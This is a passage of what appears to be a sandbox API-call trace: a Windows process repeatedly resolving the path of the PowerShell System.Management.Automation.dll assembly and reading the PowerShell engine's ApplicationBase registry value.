lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.911] GetLastError () returned 0xcb [0052.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e088, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.911] GetLastError () returned 0xcb [0052.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e088, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.911] GetLastError () returned 0xcb [0052.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.911] GetLastError () returned 0xcb [0052.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e09c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.911] GetLastError () returned 0xcb [0052.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e09c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.911] GetLastError () returned 0xcb [0052.911] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e5fc | out: phkResult=0x27e5fc*=0x340) returned 0x0 [0052.912] RegQueryValueExW (in: hKey=0x340, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e644, lpData=0x0, lpcbData=0x27e640*=0x0 | out: lpType=0x27e644*=0x1, lpData=0x0, lpcbData=0x27e640*=0x56) returned 0x0 [0052.912] RegQueryValueExW (in: hKey=0x340, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e644, lpData=0x2d1db8, lpcbData=0x27e640*=0x56 | out: lpType=0x27e644*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e640*=0x56) returned 0x0 [0052.912] RegCloseKey (hKey=0x340) returned 0x0 [0052.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.912] GetLastError () returned 0xcb [0052.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e09c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.912] GetLastError () returned 0xcb [0052.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e09c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.912] GetLastError () returned 0xcb [0052.913] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.913] GetLastError () returned 0xcb [0052.913] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e084, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.913] GetLastError () returned 0xcb [0052.913] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e084, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.913] GetLastError () returned 0xcb [0052.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.928] GetLastError () returned 0xcb [0052.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d714, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.928] GetLastError () returned 0xcb [0052.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d714, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.928] GetLastError () returned 0xcb [0052.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.928] GetLastError () returned 0xcb [0052.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d714, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.928] GetLastError () returned 0xcb [0052.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d714, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.928] GetLastError () returned 0xcb [0052.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.928] GetLastError () returned 0xcb [0052.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d714, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.928] GetLastError () returned 0xcb [0052.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d714, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.928] GetLastError () returned 0xcb [0052.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.929] GetLastError () returned 0xcb [0052.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d714, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.929] GetLastError () returned 0xcb [0052.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d714, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.929] GetLastError () returned 0xcb [0052.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.929] GetLastError () returned 0xcb [0052.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d714, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.929] GetLastError () returned 0xcb [0052.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d714, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.929] GetLastError () returned 0xcb [0052.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.929] GetLastError () returned 0xcb [0052.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d714, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.929] GetLastError () returned 0xcb [0052.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d714, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.929] GetLastError () returned 0xcb [0052.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.929] GetLastError () returned 0xcb [0052.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d714, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.929] GetLastError () returned 0xcb [0052.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d714, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.929] GetLastError () returned 0xcb [0052.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.929] GetLastError () returned 0xcb [0052.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.929] GetLastError () returned 0xcb [0052.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.930] GetLastError () returned 0xcb [0052.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.930] GetLastError () returned 0xcb [0052.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.930] GetLastError () returned 0xcb [0052.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.930] GetLastError () returned 0xcb [0052.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.930] GetLastError () returned 0xcb [0052.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.930] GetLastError () returned 0xcb [0052.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.930] GetLastError () returned 0xcb [0052.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.930] GetLastError () returned 0xcb [0052.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.930] GetLastError () returned 0xcb [0052.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.930] GetLastError () returned 0xcb [0052.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.930] GetLastError () returned 0xcb [0052.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.930] GetLastError () returned 0xcb [0052.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.930] GetLastError () returned 0xcb [0052.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.930] GetLastError () returned 0xcb [0052.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.930] GetLastError () returned 0xcb [0052.931] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.931] GetLastError () returned 0xcb [0052.931] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.931] GetLastError () returned 0xcb [0052.931] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.931] GetLastError () returned 0xcb [0052.931] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.931] GetLastError () returned 0xcb [0052.931] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.931] GetLastError () returned 0xcb [0052.931] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.931] GetLastError () returned 0xcb [0052.931] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.931] GetLastError () returned 0xcb [0052.931] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.931] GetLastError () returned 0xcb [0052.931] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.931] GetLastError () returned 0xcb [0052.931] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.931] GetLastError () returned 0xcb [0052.932] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d744, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.932] GetLastError () returned 0xcb [0052.932] GetFullPathNameW (in: 